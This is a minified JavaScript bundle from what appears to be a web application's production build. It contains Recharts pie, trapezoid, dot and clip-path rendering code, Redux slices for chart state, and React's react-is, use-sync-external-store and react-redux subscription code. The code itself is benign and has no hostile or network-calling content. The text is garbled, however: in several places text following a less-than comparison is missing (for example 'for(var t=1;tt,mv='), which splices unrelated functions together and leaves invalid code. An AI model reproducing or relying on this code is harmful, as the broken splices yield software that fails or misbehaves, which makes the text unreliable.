q$={radiusAxis:{},angleAxis:{}},x3=nn({name:"polarAxis",initialState:q$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:eH,removeRadiusAxis:tH,addAngleAxis:nH,removeAngleAxis:rH}=x3.actions,G$=x3.reducer;function X$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function i2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function a2(e){for(var t=1;tt,mv=L([p3,eB],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),tB=[],pv=(e,t,n)=>(n==null?void 0:n.length)===0?tB:n,v3=L([tf,mv,pv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(s=>a2(a2({},t.presentationProps),s.props))),i!=null)return i}}),nB=L([v3,mv,pv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var s,o=Ve(r,t.nameKey,t.name),l;return n!=null&&(s=n[i])!==null&&s!==void 0&&(s=s.props)!==null&&s!==void 0&&s.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Dd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),rB=L([v3,mv,pv,kt],(e,t,n,r)=>{if(!(t==null||e==null))return lF({offset:r,pieSettings:t,displayedData:e,cells:n})}),g3={exports:{}},Re={};/** + * @license React + * react-is.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var hv=Symbol.for("react.transitional.element"),xv=Symbol.for("react.portal"),hf=Symbol.for("react.fragment"),xf=Symbol.for("react.strict_mode"),vf=Symbol.for("react.profiler"),gf=Symbol.for("react.consumer"),yf=Symbol.for("react.context"),bf=Symbol.for("react.forward_ref"),wf=Symbol.for("react.suspense"),jf=Symbol.for("react.suspense_list"),Nf=Symbol.for("react.memo"),kf=Symbol.for("react.lazy"),iB=Symbol.for("react.view_transition"),aB=Symbol.for("react.client.reference");function Ln(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case hv:switch(e=e.type,e){case hf:case vf:case xf:case wf:case jf:case iB:return e;default:switch(e=e&&e.$$typeof,e){case yf:case bf:case kf:case Nf:return e;case gf:return e;default:return t}}case xv:return t}}}Re.ContextConsumer=gf;Re.ContextProvider=yf;Re.Element=hv;Re.ForwardRef=bf;Re.Fragment=hf;Re.Lazy=kf;Re.Memo=Nf;Re.Portal=xv;Re.Profiler=vf;Re.StrictMode=xf;Re.Suspense=wf;Re.SuspenseList=jf;Re.isContextConsumer=function(e){return Ln(e)===gf};Re.isContextProvider=function(e){return Ln(e)===yf};Re.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===hv};Re.isForwardRef=function(e){return Ln(e)===bf};Re.isFragment=function(e){return Ln(e)===hf};Re.isLazy=function(e){return Ln(e)===kf};Re.isMemo=function(e){return Ln(e)===Nf};Re.isPortal=function(e){return Ln(e)===xv};Re.isProfiler=function(e){return Ln(e)===vf};Re.isStrictMode=function(e){return Ln(e)===xf};Re.isSuspense=function(e){return Ln(e)===wf};Re.isSuspenseList=function(e){return Ln(e)===jf};Re.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===hf||e===vf||e===xf||e===wf||e===jf||typeof e=="object"&&e!==null&&(e.$$typeof===kf||e.$$typeof===Nf||e.$$typeof===yf||e.$$typeof===gf||e.$$typeof===bf||e.$$typeof===aB||e.getModuleId!==void 0)};Re.typeOf=Ln;g3.exports=Re;var sB=g3.exports,s2=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",o2=null,Nm=null,y3=e=>{if(e===o2&&Array.isArray(Nm))return Nm;var t=[];return m.Children.forEach(e,n=>{Mt(n)||(sB.isFragment(n)?t=t.concat(y3(n.props.children)):t.push(n))}),Nm=t,o2=e,t};function b3(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>s2(i)):r=[s2(t)],y3(e).forEach(i=>{var s=Do(i,"type.displayName")||Do(i,"type.name");s&&r.indexOf(s)!==-1&&n.push(i)}),n}var w3=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,j3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const s=n[Symbol.toStringTag];return s==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${s}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(j3);var oB=j3.isPlainObject;const lB=Wr(oB);var l2,c2,u2,d2,f2;function m2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function p2(e){for(var t=1;t{var s=n-r,o;return o=tt(l2||(l2=qs(["M ",",",""])),e,t),o+=tt(c2||(c2=qs(["L ",",",""])),e+n,t),o+=tt(u2||(u2=qs(["L ",",",""])),e+n-s/2,t+i),o+=tt(d2||(d2=qs(["L ",",",""])),e+n-s/2-r,t+i),o+=tt(f2||(f2=qs(["L ",","," Z"])),e,t),o},fB={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},mB=e=>{var t=gn(e,fB),{x:n,y:r,upperWidth:i,lowerWidth:s,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,p=m.useRef(null),[h,x]=m.useState(-1),g=m.useRef(i),y=m.useRef(s),v=m.useRef(o),b=m.useRef(n),w=m.useRef(r),j=qd(e,"trapezoid-");if(m.useEffect(()=>{if(p.current&&p.current.getTotalLength)try{var Y=p.current.getTotalLength();Y&&x(Y)}catch{}},[]),n!==+n||r!==+r||i!==+i||s!==+s||o!==+o||i===0&&s===0||o===0)return null;var N=Qe("recharts-trapezoid",l);if(!f)return m.createElement("g",null,m.createElement("path",Fu({},Ut(t),{className:N,d:h2(n,r,i,s,o)})));var z=g.current,k=y.current,S=v.current,A=b.current,_=w.current,O="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),I=Mk(["strokeDasharray"],u,c);return m.createElement(Yd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},Y=>{var D=At(z,i,Y),M=At(k,s,Y),W=At(S,o,Y),$=At(A,n,Y),H=At(_,r,Y);p.current&&(g.current=D,y.current=M,v.current=W,b.current=$,w.current=H);var F=Y>0?{transition:I,strokeDasharray:P}:{strokeDasharray:O};return m.createElement("path",Fu({},Ut(t),{className:N,d:h2($,H,D,M,W),ref:p,style:p2(p2({},F),t.style)}))})},pB=["option","shapeType","activeClassName"];function hB(e,t){if(e==null)return{};var n,r,i=xB(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(kz({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},zB=e=>{var t=ot();return(n,r)=>i=>{e==null||e(n,r,i),t(_D())}},SB=(e,t,n)=>{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(AD({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function N3(e){var{tooltipEntrySettings:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(SD(t)):i.current!==t&&n(CD({prev:i.current,next:t})),i.current=t)},[t,n,r]),m.useLayoutEffect(()=>()=>{i.current&&(n(PD(i.current)),i.current=null)},[n]),null}function CB(e){var{legendPayload:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(_k(t)):i.current!==t&&n(Ak({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Ok(i.current)),i.current=null)},[n]),null}function PB(e){var{legendPayload:t}=e,n=ot(),r=je(De),i=m.useRef(null);return m.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(_k(t)):i.current!==t&&n(Ak({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Ok(i.current)),i.current=null)},[n]),null}var km,EB=()=>{var[e]=m.useState(()=>Ro("uid-"));return e},_B=(km=lw.useId)!==null&&km!==void 0?km:EB;function AB(e,t){var n=_B();return t||(e?"".concat(e,"-").concat(n):n)}var OB=m.createContext(void 0),k3=e=>{var{id:t,type:n,children:r}=e,i=AB("recharts-".concat(n),t);return m.createElement(OB.Provider,{value:i},r(i))},TB={cartesianItems:[],polarItems:[]},z3=nn({name:"graphicalItems",initialState:TB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:He()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=qn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:He()},removeCartesianGraphicalItem:{reducer(e,t){var n=qn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:He()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:He()},removePolarGraphicalItem:{reducer(e,t){var n=qn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:He()}}}),{addCartesianGraphicalItem:MB,replaceCartesianGraphicalItem:LB,removeCartesianGraphicalItem:IB,addPolarGraphicalItem:DB,removePolarGraphicalItem:RB}=z3.actions,$B=z3.reducer,BB=e=>{var t=ot(),n=m.useRef(null);return m.useLayoutEffect(()=>{n.current===null?t(MB(e)):n.current!==e&&t(LB({prev:n.current,next:e})),n.current=e},[t,e]),m.useLayoutEffect(()=>()=>{n.current&&(t(IB(n.current)),n.current=null)},[t]),null},FB=m.memo(BB);function WB(e){var t=ot();return m.useLayoutEffect(()=>(t(DB(e)),()=>{t(RB(e))}),[t,e]),null}var UB=["key"],VB=["onMouseEnter","onClick","onMouseLeave"],HB=["id"],KB=["id"];function g2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;tb3(e.children,ff),[e.children]),n=je(r=>nB(r,e.id,t));return n==null?null:m.createElement(PB,{legendPayload:n})}var QB=m.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:s,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(p=>p.tooltipPayload),getPosition:p=>{var h;return(h=r[Number(p)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:s,fill:o,dataKey:t,nameKey:n,name:Dd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return m.createElement(N3,{tooltipEntrySettings:f})}),JB=(e,t)=>e>t?"start":efn(typeof t=="function"?t(e):t,n,n*.8),tF=(e,t,n)=>{var{top:r,left:i,width:s,height:o}=t,l=$k(s,o),c=i+fn(e.cx,s,s/2),u=r+fn(e.cy,o,o/2),d=fn(e.innerRadius,l,0),f=eF(n,e.outerRadius,l),p=e.maxRadius||Math.sqrt(s*s+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:p}},nF=(e,t)=>{var n=Gt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},rF=(e,t)=>{if(m.isValidElement(e))return m.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Qe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=zf(t,UB);return m.createElement(Za,Ci({},i,{type:"linear",className:n}))},iF=(e,t,n)=>{if(m.isValidElement(e))return m.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),m.isValidElement(r)))return r;var i=Qe("recharts-pie-label-text",X$(e));return m.createElement(fv,Ci({},t,{alignmentBaseline:"middle",className:i}),r)};function aF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:s,dataKey:o}=n;if(!r||!i||!t)return null;var l=Mr(n),c=Io(i),u=Io(s),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((p,h)=>{var x=(p.startAngle+p.endAngle)/2,g=dt(p.cx,p.cy,p.outerRadius+d,x),y=rt(rt(rt(rt({},l),p),{},{stroke:"none"},c),{},{index:h,textAnchor:JB(g.x,p.cx)},g),v=rt(rt(rt(rt({},l),p),{},{fill:"none",stroke:p.fill},u),{},{index:h,points:[dt(p.cx,p.cy,p.outerRadius,x),g],key:"line"});return m.createElement(Mi,{zIndex:Zt.label,key:"label-".concat(p.startAngle,"-").concat(p.endAngle,"-").concat(p.midAngle,"-").concat(h)},m.createElement(tn,null,s&&rF(s,v),iF(i,y,Ve(p,o))))});return m.createElement(tn,{className:"recharts-pie-labels"},f)}function sF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?m.createElement(f3,{label:i}):m.createElement(aF,{sectors:t,props:n,showLabels:r})}function oF(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:s,id:o}=e,l=je(ms),c=je($z),u=je(xR),{onMouseEnter:d,onClick:f,onMouseLeave:p}=i,h=zf(i,VB),x=kB(d,i.dataKey,o),g=zB(p),y=SB(f,i.dataKey,o);return t==null||t.length===0?null:m.createElement(m.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,N=l?r:null,z=n&&j?n:N,k=rt(rt({},v),{},{stroke:v.stroke,tabIndex:-1,[pk]:b,[hk]:o});return m.createElement(tn,Ci({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},k6(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),m.createElement(NB,Ci({option:s??z,index:b,shapeType:"sector",isActive:j},k)))}))}function lF(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:s}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,p=Math.abs(n.minAngle),h=nF(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(z=>Ve(z,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*p-v,w=r.reduce((z,k)=>{var S=Ve(k,u,0);return z+(ge(S)?S:0)},0),j;if(w>0){var N;j=r.map((z,k)=>{var S=Ve(z,u,0),A=Ve(z,d,k),_=tF(n,s,z),O=(ge(S)?S:0)/w,P,I=rt(rt({},z),i&&i[k]&&i[k].props);k?P=N.endAngle+Gt(h)*g*(S!==0?1:0):P=l;var Y=P+Gt(h)*((S!==0?p:0)+O*b),D=(P+Y)/2,M=(_.innerRadius+_.outerRadius)/2,W=[{name:A,value:S,payload:I,dataKey:u,type:f,graphicalItemId:n.id}],$=dt(_.cx,_.cy,M,D);return N=rt(rt(rt(rt({},n.presentationProps),{},{percent:O,cornerRadius:typeof o=="string"?parseFloat(o):o,name:A,tooltipPayload:W,midAngle:D,middleRadius:M,tooltipPosition:$},I),_),{},{value:S,dataKey:u,startAngle:P,endAngle:Y,payload:I,paddingAngle:Gt(h)*g}),N})}return j}function cF(e){var{showLabels:t,sectors:n,children:r}=e,i=m.useMemo(()=>!t||!n?[]:n.map(s=>({value:s.value,payload:s.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:s.cx,cy:s.cy,innerRadius:s.innerRadius,outerRadius:s.outerRadius,startAngle:s.startAngle,endAngle:s.endAngle,clockWise:!1},fill:s.fill})),[n,t]);return m.createElement(R$,{value:t?i:void 0},r)}function uF(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:s,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:p}=t,h=qd(t,"recharts-pie-"),x=n.current,[g,y]=m.useState(!1),v=m.useCallback(()=>{typeof p=="function"&&p(),y(!1)},[p]),b=m.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return m.createElement(cF,{showLabels:!g,sectors:i},m.createElement(Yd,{animationId:h,begin:o,duration:l,isActive:s,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,N=[],z=i&&i[0],k=(j=z==null?void 0:z.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((S,A)=>{var _=x&&x[A],O=A>0?Do(S,"paddingAngle",0):0;if(_){var P=At(_.endAngle-_.startAngle,S.endAngle-S.startAngle,w),I=rt(rt({},S),{},{startAngle:k+O,endAngle:k+P+O});N.push(I),k=I.endAngle}else{var{endAngle:Y,startAngle:D}=S,M=At(0,Y-D,w),W=rt(rt({},S),{},{startAngle:k+O,endAngle:k+M+O});N.push(W),k=W.endAngle}}),n.current=N,m.createElement(tn,null,m.createElement(oF,{sectors:N,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),m.createElement(sF,{showLabels:!g,sectors:i,props:t}),t.children)}var dF={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Zt.area};function fF(e){var{id:t}=e,n=zf(e,HB),{hide:r,className:i,rootTabIndex:s}=e,o=m.useMemo(()=>b3(e.children,ff),[e.children]),l=je(d=>rB(d,t,o)),c=m.useRef(null),u=Qe("recharts-pie",i);return r||l==null?(c.current=null,m.createElement(tn,{tabIndex:s,className:u})):m.createElement(Mi,{zIndex:e.zIndex},m.createElement(QB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),m.createElement(tn,{tabIndex:s,className:u},m.createElement(uF,{props:rt(rt({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function S3(e){var t=gn(e,dF),{id:n}=t,r=zf(t,KB),i=Mr(r);return m.createElement(k3,{id:n,type:"pie"},s=>m.createElement(m.Fragment,null,m.createElement(WB,{type:"pie",id:s,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),m.createElement(ZB,Ci({},r,{id:s})),m.createElement(fF,Ci({},r,{id:s}))))}S3.displayName="Pie";var mF=["points"];function y2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zm(e){for(var t=1;t{var y,v,b=zm(zm(zm({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:s,value:x.value,payload:x.payload,points:t});return m.createElement(yF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),m.createElement(Mi,{zIndex:u},m.createElement(tn,Uu({className:r},h),p))}function b2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function w2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),PF=L([CF,Hr,Kr],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),vv=()=>je(PF),EF=()=>je(wR);function j2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sm(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:s,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:s,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=Sm(Sm(Sm({},l),Io(i)),Lx(i)),u;return m.isValidElement(i)?u=m.cloneElement(i,c):typeof i=="function"?u=i(c):u=m.createElement(m3,c),m.createElement(tn,{className:"recharts-active-dot",clipPath:o},u)};function N2(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:s,zIndex:o=Zt.activeDot}=e,l=je(ms),c=EF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Mt(u)?null:m.createElement(Mi,{zIndex:o},m.createElement(TF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:s}))}var E3=e=>{var{chartData:t}=e,n=ot(),r=Jn();return m.useEffect(()=>r?()=>{}:(n(Ib(t)),()=>{n(Ib(void 0))}),[t,n,r]),null},k2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},_3=nn({name:"brush",initialState:k2,reducers:{setBrushSettings(e,t){return t.payload==null?k2:t.payload}}}),{setBrushSettings:pH}=_3.actions,MF=_3.reducer,LF={dots:[],areas:[],lines:[]},A3=nn({name:"referenceElements",initialState:LF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=qn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=qn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=qn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:hH,removeDot:xH,addArea:vH,removeArea:gH,addLine:yH,removeLine:bH}=A3.actions,IF=A3.reducer,DF=m.createContext(void 0),RF=e=>{var{children:t}=e,[n]=m.useState("".concat(Ro("recharts"),"-clip")),r=vv();if(r==null)return null;var{x:i,y:s,width:o,height:l}=r;return m.createElement(DF.Provider,{value:n},m.createElement("defs",null,m.createElement("clipPath",{id:n},m.createElement("rect",{x:i,y:s,height:l,width:o}))),t)},$F={},O3=nn({name:"errorBars",initialState:$F,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(s=>s.dataKey===r.dataKey&&s.direction===r.direction?i:s))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:wH,replaceErrorBar:jH,removeErrorBar:NH}=O3.actions,BF=O3.reducer;function T3(e,t){var n,r,i=je(u=>Gr(u,e)),s=je(u=>Xr(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:q4.allowDataOverflow,l=(r=s==null?void 0:s.allowDataOverflow)!==null&&r!==void 0?r:G4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function FF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=vv(),{needClipX:s,needClipY:o,needClip:l}=T3(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return m.createElement("clipPath",{id:"clipPath-".concat(r)},m.createElement("rect",{x:s?c:c-d/2,y:o?u:u-f/2,width:s?d:d*2,height:o?f:f*2}))}function WF(e){var t=Io(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:s}=t,o=Number(i),l=Number(s);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var UF={};/** + * @license React + * use-sync-external-store-with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var jl=m;function VF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var HF=typeof Object.is=="function"?Object.is:VF,KF=jl.useSyncExternalStore,YF=jl.useRef,qF=jl.useEffect,GF=jl.useMemo,XF=jl.useDebugValue;UF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=YF(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=GF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,HF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=KF(e,s[0],s[1]);return qF(function(){o.hasValue=!0,o.value=l},[l]),XF(l),l};function ZF(e){e()}function QF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){ZF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var z2={notify(){},get:()=>[]};function JF(e,t){let n,r=z2,i=0,s=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return s}function d(){i++,n||(n=e.subscribe(c),r=QF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=z2)}function p(){s||(s=!0,d())}function h(){s&&(s=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:p,tryUnsubscribe:h,getListeners:()=>r};return x}var eW=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",tW=eW(),nW=()=>typeof navigator<"u"&&navigator.product==="ReactNative",rW=nW(),iW=()=>tW||rW?m.useLayoutEffect:m.useEffect,aW=iW();function S2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function sW(e,t){if(S2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=JF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=m.useMemo(()=>i.getState(),[i]);aW(()=>{const{subscription:c}=s;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[s,o]);const l=n||lW;return m.createElement(l.Provider,{value:s},t)}var uW=cW,dW=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function fW(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function M3(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(dW.has(r)){if(e[r]==null&&t[r]==null)continue;if(!sW(e[r],t[r]))return!1}else if(!fW(e[r],t[r]))return!1;return!0}function gv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:C3}function yv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:C3}var 